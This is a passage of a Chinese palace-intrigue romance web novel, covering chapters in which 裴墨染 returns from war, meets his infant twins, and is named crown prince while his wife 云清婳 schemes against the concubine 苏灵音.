云清婳悲从中来,一阵鼻酸。 他们是天地间,唯一跟她一般为姐姐伤心的人了。 裴墨染拱手,“谢国公、谢夫人。” 听说谢国公夫妇要一并回京,他送了许多拜帖,谢家都不曾相见。 可因为蛮蛮,他们亲自下了马车。 “肃王英勇,蛮蛮嫁给您,是蛮蛮的福气。”谢夫人看他的眼神复杂。 裴墨染感觉他们的眼神很奇怪。 但听说谢夫人丧女,精神恍惚,便没有多想,“娶到蛮蛮,是本王的福气。” “……” 谢父、谢母挤出了疏离的笑。 云清婳拉着裴墨染转身就走,“快走吧。” 狗男人真是晦气! 当年姐姐的死,虽然跟他没有关系,但却是因他而起。 看到他,姨夫、姨母心里肯定不好受。 “蛮蛮,跟长辈说话呢,你怎么突然走了?这样不礼貌。”裴墨染提醒。 “……”云清婳恶狠狠掐了把他的手背,火气蹭蹭往外冒。 看他这个反应,就知道他是把跟谢家的婚约彻彻底底的忘了! “你恼什么?我还没恼呢。”裴墨染倒吸了口凉气。 她挺翘的鼻子一耸,轻哼道:“你恼什么?” 裴墨染叉着腰,明明气势汹汹,可桀骜的脸上却透着隐隐的委屈。 就像是被主人抛弃的小狗。 “方才我奔向你,你都没理我,亏我日夜赶路,恨不得插上翅膀赶回来见你。” 云清婳正色的解释:“方才我最先搭理的就是夫君,大家都可以作证。” 飞霜点头。 贴身太监以及几个副将、军师同时点头。 裴墨染气闷不已,他们一帮人都在气他! 他剜了闲杂人一眼,酸溜溜地说:“我说不过你!总之,你对谢泽修比对我亲热。” “我与姨母多年没见,听说姨母回京,我心下欢喜。夫君怀疑我不成?”她嘟着唇,幽怨地瞥他。 裴墨染立即摇头。 一个副将忍不住道:“王妃,您别恼啊。王爷可想您了,方才路过河边,我都说了不用休憩,王爷非要休憩,结果在河边擦了半天的盔甲。” 难怪狗男人看起来这般整洁,他的盔甲比所有将士的都要耀眼,在阳光下熠熠生辉。 “住口!”裴墨染低吼,晒黑的脸颊泛起了红晕。 云清婳双眼炙热,似笑非笑地看着他。 “别听他胡说,一会儿要面圣,衣衫不洁不好。”裴墨染苍白无力地解释。 啧,狗男人还害羞了。 第191章 肤浅,你就喜欢小白脸 她上了马车,裴墨染忙不迭跟了上去。 云清婳才坐定,裴墨染便将她抱到了大腿上,让她跟他面对面坐着。 他将脸埋进她的颈窝,鼻尖蹭着她颈上软嫩的肌肤,让她很痒。 “蛮蛮,你都没好好看我。”裴墨染的声音喑哑,尾音拖着,像在撒娇。 云清婳的双臂勾着他的脖颈,“我看了,夫君瘦了也黑了。” “你嫌弃我?肤浅!你就喜欢小白脸!”他在她颈间咬了一口。 她嗤嗤地笑道:“夫君好小气,我说你黑了,也没说不喜欢啊。” “蛮蛮有多喜欢我?”他掐着她的腰。 她捧着他的脸,主动吻住他的唇,热切缠绵,比以往每一次都要大胆孟浪。 裴墨染愣怔了一瞬,心脏快要跳出胸腔。 蛮蛮从未这般主动过。 她果然也是想他的! 仅仅是一个吻,就让他意乱情迷,难以自抑。 二人在马车上缠绵的拥吻,带着半年的思念。 正所谓小别胜新婚,这次的离别,让裴墨染相思入骨,对她的感情比之前的每一次都要汹涌、强烈。 他们呼吸交缠,二人能清晰地听见彼此的心跳声。 自从得知云清婳怀孕,二人便没再行房。 裴墨染抑制不住,他的大掌落在她的腰间,手指没有章法的扯她的腰带。 云清婳软绵绵的倒进他的怀里,“快回府了,别乱来。” “我快一点。”他急切的说。 这可是在大街上! 狗男人有没有羞耻心? 云清婳啪的一巴掌扇他脸上,裴墨染终于冷静。 她嫌弃地瞪他,娇娇气气地说:“夫君满脑袋就是这些,都不问我点其他事?” 他的吻落在她的眉眼间,“我都知道了。” 百日宴上的事,他一清二楚。 皇后、苏灵音简直天理难容、罄竹难书。 她们居然害蛮蛮难产不够,还想害孩子! 裴墨染心疼地看着她清瘦的小脸,神色转而认真,“蛮蛮,我收到你难产的消息跟日札时,我的心好疼。当日若不是诸葛先生拦着,我一定会折返回京。” “得知你平安诞下儿女,我以为我会高兴,可是并没有多高兴。你命悬一线,腹背受敌,可我却不在你身边,我很惭愧。” “看了你的日札,我才明白你对我用情至深,可我曾经不懂得珍惜,百般糟践你的心意。” 云清婳的眼泪颗颗坠落,温热的泪珠落在他的手背上,“夫君,难产的时候好疼。恍惚间,我好像看见黑白无常了,我怕我们再也不相见,所以才让人把日札送去给你。” “在云城与反贼鏖战,我夜不能寐时,便会翻看你的日札,就好像你在我身边。”他搂着她,“我最喜欢看四月初七那天,你写了满满一页,是我为你准备洞房花烛的那一日,你说你敬我爱我,愿一辈子追随我。” “???”云清婳快吐了。 这是她交给手底下的说书先生写的,说书先生的文笔怎么这么恶心啊? “还有我入狱的那一个月,你求遍了京城的官员,你内心煎熬,却只敢躲起来哭,我每次看到这里便心如刀绞,恨我为何没告诉你真相。” 通过这本日札,他也发现云清婳感情的消退。 蛮蛮爱他,但已经没有当初那般爱他了。 起初,日札的每一页都是他,他似乎是蛮蛮的一切,主宰她的喜怒哀乐。 可自从蛮蛮失去了第一个孩子,坠崖后,她的日札中不再只有他,而是多了花花草草、可口的点心、何心意、魏娴以及孩子…… 之后,他出现的篇幅越来越少,甚至可以连续半个月都不提及他。 他并不会埋怨,这是他活该,是他的惩罚,他接受。 以后,换他来爱护蛮蛮就好。 思及此,他的眼神黯淡无光,眉眼中透出惆怅。 看到裴墨染低落的样子,云清婳便知他发现了她故意在日札里留下的细节。 这就对了! 绝对不能让男人觉得自己得到了女人的一切。 否则,他们就会觉得女人离不开自己,从而不珍惜了。 “夫君,日札呢?还我。”她面颊绯红,冲他伸手。 裴墨染瞧出她的羞涩,捏捏她软嫩的脸蛋,混不吝地说:“既然送我了,岂有要回去的道理?我还想品鉴品鉴呢。” “你太坏了!”她眼里泌出水光,恼羞成怒地掐他的脖子。 “谋杀亲夫?!你果然是个毒妇!”他笑得肆意,在她面前已然是放下了防备。 云清婳怒目圆睁,明明在生气,看起来却像奶猫发威,“裴墨染,你还不还我?还不还?!” “第一贵女好凶悍啊,本王好害怕。”他痞气的揶揄。 车后的一众副将听到马车里的动静,纷纷露出惧色。 “方才不还好好的吗?怎么又吵起来了?” “娶妻果然不好!” 诸葛贤嫌弃地看了他们一眼,无奈叹气。 马车内,云清婳气得不行,可裴墨染穿着盔甲,打他疼的也是自己的手。 她只能抱着胳膊,坐在一边生闷气。 这把裴墨染逗笑了,“出息!” “裴墨染,我诅咒你!”她怒道。 “诅咒我什么?”他轻扬下巴示意她说下去。 “我诅咒你、诅咒你……”云清婳心里想了无数个恶毒的词,但都不能说出口。 裴墨染笑得更嚣张了,贱兮兮道:“你说啊,不会舍不得吧?” 死普信男! “我诅咒你,不能人道!”她像是气急败坏。 裴墨染的笑声戛然而止,他讥诮地看着她,“蛮蛮,你是在暗示吗?一会儿,我就让你看看我能不能人道!” 马车停在垂花门前,云清婳板着脸拎着裙摆下车,一脸厌色。 垂花门前,所有妾室都已经等候良久。 她们浓妆艳抹,争妍斗艳。 而苏灵音人淡如菊般站在一旁,她穿着一席水月色的净面襦裙,未施粉黛,发髻散只插着两根素银簪子,看起来素雅婉约,惹人怜惜。 看到云清婳一身的戾气,苏灵音放心了。 看样子裴墨染对云清婳不复从前了,二人相看两厌。 所以云清婳就算生了两个孩子,关系还是没有和缓。 裴墨染追下马车,他正欲抓住云清婳,苏灵音便含泪唤道:“王爷……” “灵音。”他有点不想演了,敷衍地唤了她一句。 “参见王爷,恭喜王爷击溃反贼。”所有人整齐地跪下。 他随意地摆摆手,“平身吧。” 苏灵音仰着脖子,楚楚可怜的望着裴墨染,眼神中带着爱慕、委屈以及思念,企图得到男人的垂爱。 可裴墨染跟云清婳并肩离开了。 苏灵音气得差点咬碎银牙。 为什么会这样? 莫不是云清婳这个贱人告状了? “看样子,王妃跟王爷又吵架了,若不是看在两个孩子的面上,王爷必不会理她。”一个貌美的妾室胸有成竹地说道。 苏灵音的手缓缓攥紧。 云清婳跟两个孽种都应该去死! 第192章 你这个女流氓 裴墨染跟云清婳进了玄音阁。 无须吩咐,婢女便立即备膳、抬水。 裴墨染的手试探性的搭在云清婳的肩膀上,见她不抗拒,才加大力气搂住她。 “别气了,你才生产,当心气坏了身子。”他哄道。 她顺着台阶下,“你方才没搭理苏灵音,若是她起疑怎么办?” 就算皇后知道裴墨染就是自己的亲儿子,也不代表母子就能齐心。 不得不防啊。 “我想过了,她用千年朱砂陷害咱们女儿,我若是不生气才奇怪吧?!”裴墨染分析。 若不是苏灵音还有用,他真想现在就拧断她的脖子。 云清婳乜了他一眼,“从见面到现在,你都不问问孩子。” “孩子呢?”裴墨染一路上都在盼着看孩子,他激动地四处张望。 屏风后,奶娘、万嬷嬷正拿着布老虎哄孩子。 两个奶团子躺在小床上,好奇的看着大人手中的玩意儿,眼眸亮晶晶的。 云清婳走到小床前,她俯下身,表情温柔,声音清甜道:“承基、辞忧。” “啊……” 两个小奶包认出了娘亲,激动起来,争前恐后的伸出胳膊要抱抱。 她身段苗条,凹凸有致,浑身透着母性的光辉,柔和得像是一汪水,这是裴墨染从前未在她身上看到的样子。 让他既新奇又心动。 “辞忧,你先来看看爹爹。”云清婳熟稔的抱起小胖墩,她亲了亲辞忧的脸颊。 辞忧似乎很喜欢娘亲的亲吻,咯咯的笑。 而被冷落的承基瘪着小嘴,脸涨得通红,欲哭不哭,惹得奶娘、万嬷嬷心疼不已。 “小姐已经分得清亲疏了,之前未曾见过王爷,恐怕会认生。”万嬷嬷先递出一个台阶,让裴墨染做好准备。 裴墨染看着辞忧的小脸,脸上的笑意堆满,向来冷峻狠厉的面孔在一瞬间也变得慈祥,“辞忧……” 他伸出手想要抱她,可又怕吓到孩子,不敢真的接触。 辞忧看到裴墨染,歪着脑袋,随后发出咯咯的笑。 “要爹爹抱吗?”云清婳问。 裴墨染满是期待,他还没抱过这一双儿女。 他初为人父,什么都是第一次。 “啊……”辞忧不哭不闹,笑着对裴墨染伸出双手要抱抱。 裴墨染的眼底发热,这一刹那,他才对血脉亲缘有了深刻体会。 眼前的是跟他流着相同的血的亲人。 他的心尖发烫,好似融化了童年的冰霜。 从此他不再是一个人,他有了妻子,有了孩子,有了真正的家人。 “辞忧。”裴墨染伸出双手,别扭的用两只胳膊抬着辞忧,像在进贡珍宝。 这笨拙的动作,把在场所有人逗笑了。 云清婳忍俊不禁,“夫君,这样抱,胳膊垫着她的脖子……” 裴墨染身子骨僵硬得不行,一点都不敢用力,就好像辞忧是瓷娃娃,他害怕将辞忧弄碎了。 辞忧好奇地看着裴墨染的盔甲,小嘴微张,口水全流了上去。 但裴墨染一点都不嫌弃。 “这就是亲子缘分吧!小姐居然一点也不怕您。”万嬷嬷感动地用帕子抹眼泪。 “这是自然!这可是本王的女儿!”裴墨染爱不释手。 万嬷嬷笑道:“小姐跟公子都长得像王妃,皇上都夸赞孩子有福气呢。” 裴墨染低头看了眼孩子,又抬头看云清婳,他正色评价:“不像!也不像本王!” 这句话无声地掀起了惊涛骇浪,众人的脸色都发绿。 云清婳:??? “裴墨染!”她掐了一把他的手背,“你什么意思?” 裴墨染反应过来,理直气壮道:“你们在想什么腌臜事?王妃跟本王仪表堂堂,这两个孩子小鼻子小眼儿,哪像了?” 众人这才松了口气。 云清婳白了他一眼。 同样的,承基也主动让裴墨染抱抱,不哭不闹。 云清婳跟飞霜遥遥对望,眼底闪过狡黠。 孩子见到‘陌生人’怎么可能不害怕? 只是这几个月她经常把裴墨染的铠甲摆出来给孩子看。 所以辞忧、承基看见裴墨染穿着铠甲,才会这么亲近。 小家伙大概是把铠甲当作玩具了。 没办法,她得让裴墨染偏爱孩子。 就算将来他会有许多优秀的子嗣,可承基、辞忧在他心里也得是特别的。 裴墨染感动不已,他一边抱着一个小胖墩,丝毫不费力,“蛮蛮,谢谢你。” “谢我什么啊?”她佯装不明白,奇怪地看了他一眼。 遂低下头为辞忧擦去嘴边拉丝的口水。 他贴在她耳边,低声道:“谢谢蛮蛮,让我有了血亲。” 云清婳暗想,想要家人,可以去直播间。 里面全是家人…… “主子,膳食备好了。”飞霜道。 云清婳道:“夫君先去洗漱吧。” 裴墨染不舍地在两个小家伙的脸蛋上亲了一口,辞忧哇哇地哭了。 这把裴墨染吓到了,他手足无措地将辞忧交给了云清婳,表情明显慌张。 云清婳拍了拍辞忧的背,辞忧很快就恢复平静,她解释:“夫君,你的胡子把女儿弄疼了。” 裴墨染摸着下巴上的胡茬,突然腼腆地笑了,他将承基交给奶娘。 孩子被抱了下去,屏退下人后,云清婳道:“我伺候夫君沐浴吧?” 裴墨染血液激涌,正想要点头,可猝然想到行军多日,他好久没都好好沐浴过。 身上肯定很脏很臭! 这小妮子这么矫情,若是被她嫌弃,他还如何抬得起头? 到那时,他就彻底没法跟谢泽修比了。 “不必了,你先用膳。”说着,不等她表态,他就进了浴室。 云清婳勾唇一笑。 狗男人都知道形象管理了,不错! 训狗很有成效! 不知过了多久,饭菜都凉了,都不见裴墨染出来。 飞霜忍不住在门外张望,“主子,王爷莫不是睡着了?” 云清婳嘲讽道:“他在里面绣花呢。” 忽的,她想到了什么,眼底闪过报复的快感。 吱呀—— 浴室的门被推开。 裴墨染正在浴桶中沐浴,挺括的背脊正对着门,或许以为是抬水的太监进来,他并没有反应。 “夫君,怎么还不出来?”云清婳笑问。 裴墨染的身子一僵,他连忙护住胸,“我还没沐浴完,你进来作甚?” “夫君是害羞了吗?”她笑问。 裴墨染的耳根子红透了,他脏透了,水都洗脏了…… 这不能被蛮蛮看见! “蛮蛮,你快出去!我一会儿就出来。”他不想在心爱的人面前丢脸。 云清婳故意上前,“我帮你洗吧。” “不用!你快出去!你这个女流氓!”他因为羞赧,口不择言起来。 她看出他的无地自容,故意吓唬:“夫君说我是女流氓?那我一定要来看看你了。” 他理不直气也壮,“你知不知羞啊?男人有什么好看的?快出去!” “臭美!谁想看你啊?”云清婳佯装生气,转身离开。 她关上浴室门的一刹那,她忍不住扑哧笑出了声。 裴墨染恼得浑身发烫。 第193章 死癫婆又发癫了 待裴墨染从浴室出来,他身上已经被熏了好闻的木质香气。 裴墨染草草用完膳,就迫不及待将云清婳打横抱起,朝床榻走去。 一年多没有行房,他想她想的紧! 更何况他们有半年没见了! 他恨不得将她拆吞入腹,融入骨血,把一年多的亏空全部补上。 裴墨染将她放到榻上,俯身下去,二人呼吸交缠。 “夫君要温柔些。”她的双颊泛红,指尖在他胸口轻戳。 她总是这样,一脸清纯却透着媚态,让他欲罢不能。 天地万物也不及她迷情动人。 “我知道。”他的声音喑哑。 虽然云清婳生了孩子,但在他看来,她的身段比从前还要勾人。 芙蓉暖帐中,温度节节攀升,暧昧氤氲。 裴墨染从她的身后抱着她,浓重的呼吸撒在她的背上。 云清婳倏地想到什么,她问:“军中艰苦,平日里也没人伺候,副将好像都未娶妻,这几个月他们就不想成家吗?” 裴墨染不假思索:“有军妓!” 她的脸瞬间垮了,她转过身,扬起右手就要往他的脸上甩。 在手掌快接触到裴墨染的脸时,他擒住她的手腕。 云清婳正要扬起左手,裴墨染就好像预先猜到了她的想法,又扣住她左边的腕。 “你这女人!故意套我话是吧?!”他的笑容邪气,眼中闪烁精明的光。 “……”云清婳膈应死了。 正所谓物以类聚人以群分,狗男人不会也找军妓了吧? 恶心透顶! 她可不伺候了! “小气鬼!怪不得这么殷勤,一会儿要帮我沐浴,一会儿又关心起副将,原来担心我在外面找女人,变着法儿地检查我!”他的话很糙,但他丝毫不觉得不妥,甚至得意极了。 蛮蛮吃醋是因为在乎他! 云清婳嫌弃的睨他。 不是,他怎么脑补这么多? 心眼子全用在这上面了? 看着她嫌弃的小眼神,他就知道她在想什么,“逗你玩呢,我治军严明,军中绝不会有影响士兵作战的人或物存在。” 云清婳这才想起来,裴墨染的军队跟旁人不同,明令禁止了这些。 她的脸色稍有好转。 “满意了?”他勾勾她的下巴。 她颔首。 一阵温存后,宫中便来传话要召见肃王。 裴墨染自然是不尽兴的,但也只能无奈起身穿衣。 “等我回来,我们继续。”他在她泛着粉的小脸上亲了一口。 云清婳双眼含泪,腰酸得像被马车碾过,嗓音有点哑,“夫君,圣旨别忘了带啊。” “嗯。”他的眸色变暗。 …… 自裴墨染离开,云清婳的心便七上八下,忐忑不安。 她有些担心皇上会不认账,也担心裴墨染说话鲁莽,开罪了皇上。 天黑透了,裴墨染没有回府。 她靠坐在贵妃榻上,食不下咽。 “主子,王爷立了功,就算皇上不愿,可君无戏言啊。”飞霜安慰道。 云清婳揉着太阳穴,她的心突突直跳,莫名发慌。 她总有不好的预感。 忽然,门外响起了一阵脚步声。 “王妃,宫中来人了!”管家气喘吁吁道。 云清婳的眼中散发出光亮,仅一瞬,那点微弱的光就熄灭了。 是福是祸,还不好说,她不敢高兴。 她去了前厅时,全府姬妾已经跪了一地。 “臣妾接旨。”云清婳跪下。 太监总管看云清婳的眼神复杂,他打开圣旨,高声念道:“奉天承运皇帝诏曰,肃王妃云氏赋质温良,礼教克娴,时诞龙凤胎,封为太子妃,钦此!” 众人大惊! 太子妃! 也就是说,肃王被立为太子了!? 姬妾的眼中绽放出光彩,她们的身份也跟着水涨船高了。 云清婳的眼眸发烫,尽管这些都在算计之内,但她还是有种苦尽甘来,得偿所愿的辛酸之感。 “臣妾接旨。”她道。 太监总管命人将太子妃宝印、服制以及皇上的赏赐抬进来,“奴才恭喜太子妃。” “那一日着实艰难,多谢公公照拂。”她的语气真挚,双目灼热地看着他。 太监总管看她的眼神稍带赞许,他笑道:“不敢当啊,一切天注定,都是太子妃命中该有。” 飞霜将一荷包的金瓜子塞给了太监总管,“多谢公公照顾主子。” “言重了。”太监总管的笑明显比方才真心许多,他看云清婳越发满意。 苏灵音跪在后面,眼珠子快要瞪出来。 裴墨染变成太子了? 那表哥怎么办?皇上不是偏爱表哥吗? 还有,云清婳成太子妃了! 那么她呢? 她可是苏家嫡女,皇后的亲侄女,她哪有做妾的道理? 她好歹也应该是太子侧妃啊。 “公公,皇上可还有旨意?”苏灵音忍不住开口问。 太监总管厌恶地瞥了她一眼,带着人转身就走。 “恭喜太子妃。”几个侍妾见风使舵殷勤地讨好。 苏灵音恨得牙根痒痒,后槽牙磨得硌吱硌吱响。 云清婳扬起嘴角,奚落地睨着她 魏娴起身,清冷地斥道:“苏夫人,方才王妃跟公公说话岂容你插嘴?你不讲规矩、德行有失也就罢了,要是传出去说太子妃御下不严该如何是好?” “你我同为妾,你又有什么资格教训我?”苏灵音掀起眼皮,眼神如毒蛇般怨毒地刺向魏娴。 这个狗腿子,真以为舔云清婳就能上位了? 卑贱的贱婢,早晚有一天,她会让魏娴求生不得,求死不能! 忽地,一个威武的人影走来。 “怎么了?”裴墨染的声音响起。 “呜呜呜……”苏灵音毫无预兆地哭了起来。 裴墨染眼中的厌恶被担忧之色遮掩,“灵音,你哭什么?莫非有人欺负你?” 说着,他的眼神射向了云清婳。 “殿下,您别怪太子妃跟魏夫人,都是妾身多嘴,太子妃让人教训妾身也是应该的。”苏灵音用袖子擦拭着眼角的泪。 今天是个好日子,裴墨染本来心情愉悦,可看到苏灵音佛口蛇心的模样,一切的欢愉瞬间告罄。 “既然灵音知道错了,此事就过去吧。太子妃,灵音心思单纯,你多多包容。”裴墨染话里话外都在维护苏灵音。 云清婳不甘地应了一声。 在旁人看不见的角度,苏灵音对云清婳挑眉,挑衅意味快要溢出来。 瞧,我轻而易举就能挑拨你跟裴墨染的感情。 你生了两个贱种又怎么样? “魏夫人,方才你教导得对,日后妾身会谨言慎行,不让太子妃为难。”苏灵音恭敬地对魏娴福福身。 魏娴一脸诧异,眼里射出鄙夷。 大晚上的,死颠婆发什么颠? 这明显是想要裴墨染处置她! 云清婳跟裴墨染快速交换了一个眼神。 第194章 不生气了,就亲我一口 苏灵音看似是在让裴墨染处置魏娴,实则在说魏娴都敢爬到她的头上,她不能只当一个妾! 她要晋升! “魏娴,你日后对灵音宽容些,她从小娇气,跟你们是不同的。”裴墨染看着苏灵音,语气满是宠溺。 他表面上偏爱苏灵音,给苏灵音主持公道,可一点实质性的帮助都没有,只是动动嘴皮子。 苏灵音气得差点呕出二两血。 想要保护她,就给她晋位啊。 不过她心中也是暖的,至少裴墨染是维护她的。 “是。”魏娴在心里臭骂裴墨染。 死癫公! 想要证明自己宠爱苏灵音,为什么非要通过她? 忽地,万嬷嬷气喘吁吁地跑来,“不好了,公子中毒了!” 裴墨染的脸色大变,他忙不迭朝着玄音阁跑去。 云清婳也红了眼眸,含泪跑去。 看着他们离去的背影,苏灵音的眼中闪出凶光。 毒死最好! 死杂种! …… 裴墨染赶到玄音阁时,两个孩子哇哇大哭,浑身涨得通红。 承基吐得满身都是奶,可怜极了,奶娘正在给他擦洗。 府医跪了一地,“殿下放心,公子已无大碍。” “这是怎么回事?”裴墨染心疼地将承基抱在怀中,亲自拿着帛布给他擦洗身子。 奶娘吓得扑通一声跪在地上,唇瓣颤抖,“不关奴婢的事,奴婢什么都不知道……” 万嬷嬷诧异地看了眼云清婳,她的语气沉重:“太子妃没跟殿下说?半个多月前,公子就被下过一次毒。” 裴墨染的眼眸黯淡,他困惑地瞥向云清婳。 云清婳的眼泪在眼眶打转,她从小床上抱着女儿,女儿很快就止住了哭声。 妹妹不哭了,哥哥也很快就不哭了。 当然,她自然不会给孩子下药。 吐奶只是她制造的中毒假象! “去查!”裴墨染瞥向贴身太监。 婢女从裴墨染手里接过孩子,为孩子穿衣。 “都退下!”裴墨染冷声道。 万嬷嬷抱着承基,带着众人退下了。 裴墨染看向云清婳,剑眉微蹙,“蛮蛮,这么大的事,为何不跟我说?嗯?” “……”她轻拍着怀中女儿的背,欲言又止。 他捧着她的脸,双眼写满了赤诚,“蛮蛮,你有秘密瞒我啊?” 云清婳缓缓摇头,“不是什么秘密。” “此事是贤王做的,但我不希望夫君跟贤王为敌。夫君根基不稳,贤王又深得皇上喜欢,何必给你添堵?” 裴墨染的心涌上了无穷无尽的恨意,以及对云清婳母子的愧疚。 他的眸色深沉,声音干涩,“你真傻!你以为你的忍让就会换来裴云澈的适可而止?他只会得寸进尺!” “可是……” “蛮蛮,此事你别管了,我有分寸!日后关乎孩子的事不许瞒我,这是皇嗣,万万不能受委屈的。 之前我不在,如今我回来了,你受的委屈我都会讨回来!无论是皇后还是裴云澈!”裴墨染越想越气。 这个傻瓜! 孩子差点遇害,可她还瞒着,担心这些莫须有的事情! 她当真没有一点野心吗? 不想承基将来当世子? 她就是要裴墨染对裴云澈出手,兄弟相残,最好直接杀了裴云澈。 云清婳修长白皙的颈子弓着,脑袋耷拉着,恹恹道:“臣妾知道了。” 她的语气很是委屈,眼泪啪嗒啪嗒地落在辞忧的脸上。 辞忧感受到娘亲的眼泪,懵了一会儿,随后也哇哇地哭起来。 裴墨染的心感受到撕裂般的疼痛,他蹲在她的面前,抬手擦眼泪,“怎么哭了?蛮蛮,我不是怪你,我实在恨裴云澈,又心疼你跟孩子。” “日后任何事都不准瞒我!我若是连心爱的女人跟孩子都护不住,当储君又有什么意思?我方才语气重了,蛮蛮别恼我好吗?” 他满脸的小心翼翼。 云清婳心里在暗笑,狗男人如今哄人越来越得心应手了。 换作一年前,谁能想到他有这一面? “我只是觉得对不起孩子,并没有恼夫君。”她正色道。 裴墨染不放心,毕竟蛮蛮有八百个心眼子,他不确定她说的是不是假话。 “那你笑一个。” “承基中毒了,我笑不出来。”她的黛眉微蹙。 他又道:“那你亲我一口。” 云清婳:??? 有病是不是? 狗男人是不是有病? “无聊。”她翻了个白眼。 裴墨染见她没有生气,他坐在她身侧,搂着她,眉眼含笑,“蛮蛮,你是太子妃了,可高兴?” “高兴。”云清婳颔首。 他就知道没有哪个女人会不高兴! 太子妃就是将来的皇后,登临凤位,谁能不欢喜? 云清婳紧接着道:“夫君如愿以偿,我为夫君高兴!其实方才圣旨下来的时候,我有些怕,我怕皇上怪罪我插手朝政,会赐死我。” 说着,她将脸埋进裴墨染的胸口上,夏日衣衫单薄,温热的眼泪透过布料在他胸口晕开。 他的心脏加速跳动,他心疼地抱着她,轻轻拍抚她的背脊,“你在御书房吟的诗,父皇说给我听了。那一晚不是政事,是家事。蛮蛮,谢谢你。” 裴墨染看着怀中的人儿,深觉自己得到了一块瑰宝。 若不是蛮蛮,那晚之后,整个肃王府都会迁去西北,就算他打了胜仗,最后也会灰溜溜地被赶回西北。 是蛮蛮带给他了转机,让他拥有了如今的一切。 云清婳并不居功。 毕竟在封建社会,男尊女卑的思想是根深蒂固的。 裴墨染跟她客气,她若是蹬鼻子上脸,反而会惹他不快。 “辞忧饿了。”她岔开话题。 云清婳看了他一眼。 裴墨染不太明白她的意思。 她的脸蛋爬上了红晕,羞赧地扭转过身,背对着裴墨染,解开衣衫给辞忧喂奶。 裴墨染一愣,这才反应过来,他凑上前,饶有兴致地看她给女儿喂奶,女儿一脸享受地喝着。 “有什么好害羞的?又不是没看过。”他混不吝道。 云清婳低声斥道:“流氓!不许看!” 裴墨染笑了,他觉得这就是家的感觉。 此时此刻,他感觉很幸福。 他不用再拼尽全力,卑微祈求微不足道的母爱了。 蛮蛮让他明白了一个道理——真正的爱,不用争取,爱你的人,自然会来爱你。 …… 深夜,御书房灯火通明。 皇上扶额,连声叹气。 他看着立太子诏书,矍铄的双眼中散发出纠结,“朕是不是草率了?” 当初怎么就心软,答应了云家丫头的请求呢? 以至于今日裴墨染当着文武百官的面拿出圣旨,他不得不兑现承诺。 在金銮殿上,看到云澈难以置信、委屈的眼神时,一股久违的愧疚涌上他的心头。 他对不起莲衣啊。 太监总管恭敬道:“陛下,奴才愚见,太子能立就能废,谁说当了太子就高枕无忧了呢?更何况,太子妃在七星连珠日生了龙凤胎,这是极好的兆头,能旺大昭的气运啊。” 闻言,皇上的眉宇舒展了几分,脸上的郁色渐渐消散。 他笑骂道:“你这老狐狸!” 这些正是他心中的盘算。 心爱的女人,又怎能跟江山比呢? 就在这时,几个侍卫送来急报,“陛下,岭南的瘟疫解除了。” “丹宁郡下了七天七夜的雨,旱灾也解除了!” “恭喜陛下!天佑大昭啊!”太监总管跪地。 皇上笑捋着胡子,一副运筹帷幄的神情。 他的决策果然没错。 那两个孩子,果真旺大昭气运啊! 第195章 对云清婳的感情不多了 日上三竿,云清婳还昏昏沉沉地躺在锦衾中。 她通身软成了一滩水,腰肢酸软,根本起不来身。 飞霜听见帐中的动静,将纱幔挂在如意钩上,端来了一杯水,喂她喝,“主子,喝些吧。” 云清婳如同在沙漠迷路的旅人,喉咙干得快要裂开,她咽水时发出咕咚咕咚的声音。 昨晚,裴墨染简直不是人! 什么牲畜体力? 看到她身上的痕迹,飞霜的眼中有些惊讶跟心疼,她低声道:“昨晚,您被折腾狠了吧?殿下的体力可真是……” 云清婳可听不得别人夸狗男人。 她鄙夷道:“就那样吧!很一般。” 此话一出,飞霜的脸登时惨白。 裴墨染抱着辞忧,似笑非笑地绕过屏风,他的表情戏谑,“是吗?” “……” 云清婳瞬间朝飞霜投过去一个眼神。 不是,为什么狗男人在也不说一声? 幸亏她没有说些大逆不道的话。 飞霜有些委屈。 谁知道主子会突然来这么一句? 裴墨染将辞忧举高高,逗她玩。 辞忧发出咯咯咯的笑声。 “很一般?”他看着辞忧,语气却透着邪气,“蛮蛮昨晚可不是这样说的。” 云清婳的双颊绯红,“别说了。” “为何不让说?你这个撒谎精,满嘴谎言。”他将辞忧递给飞霜,戳了戳云清婳的额头。 她鼓着嘴,“谁让你欺负我的?现在腿都是软的,若是误了大事怎么办?” 裴墨染的心掀起了圈圈涟漪,她总是一脸娇憨的说些撩拨的话。 他俯下身,捏捏她的小脸,“册封大典在明日,我都算好了,误不了事。” “我还得谢谢你不成?”她攥着拳头打他,可手软绵无力,跟挠痒痒似的。 二人闹了好一会儿,云清婳是被抱去桌前用膳的。 用过午膳,裴墨染看了暗探送来的字条后,表情逐渐严肃。 “蛮蛮,欺负我妻儿的人,我都不会放过。如今我与裴云澈已经撕破脸,我跟他免不了一场恶斗,日后你要当心。”他牵起她的小手,不放心地交代。 “我知道。”云清婳装出害怕的模样。 “裴云澈手段低劣,你跟孩子都是我的软肋,”他突然顿了顿,“为了转移他的视线,日后恐怕要委屈你了。” 云清婳挑眉。 所以,还不能抛弃苏灵音这颗棋子。 她甩开他的手,带着哭腔道:“我看你就是动心了!每次一见到苏灵音,你就训斥我,你用厌恶的眼神看我,你知道我有多难过吗?” 裴墨染哄道:“蛮蛮,我对她是逢场作戏,只有你们母子才是我心中最重要的,她只是你们的挡箭牌。” “谁知道呢?”她捂着脸装哭,“说不准哪天你就日久生情、假戏真做了!” “蛮蛮,你为我做的一切我都记在心里。除了你,旁人接近我都是为了荣华富贵,只有你捧着一颗真心,我还是分得清的。”他道。 云清婳的眼泪啪嗒啪嗒落下,她指责道:“你当初对赵婉宁也是这么说的吧?可结果呢?” 裴墨染一怔,脑袋空白了一瞬,像是有什么东西炸开了。 他登时被点燃,眼中冒出森然的寒意。 他有些恼羞成怒。 作为上位者,怎能被人揭短? 可看见云清婳的眼泪,他的怒气顷刻间化为愧疚。 “当初我才十几岁,根本不懂爱,更何况赵婉宁与人有染,婚前生子,欺我骗我,蛮蛮怎能跟她比?”他紧紧搂住她。 “我承认我对赵婉宁食言了,我对不住她,但她也的确配不上我的真情。难道因为我对赵婉宁食言,你就要判我死刑,觉得我是负心汉?” 云清婳在心里冷笑。 你不是负心汉谁是? 装什么啊? 虽然裴墨染心里有她,但他心中更有皇位! 在皇位面前,他会毫不犹豫地选择牺牲她。 “我心疼夫君被骗,夫君不是负心汉,都是赵婉宁不好。”她的睫毛上缀着晶莹的眼泪。 裴墨染为他擦去泪珠,眸中闪过寒意。 赵婉宁真是讨厌! 每次蛮蛮一想到她,都会影响他们夫妻之间的感情。 这种贱妇还是快些死了最好。 他看向云清婳时,眼神倏地切换成柔情,“蛮蛮相信我,熬过这段日子就好了。” 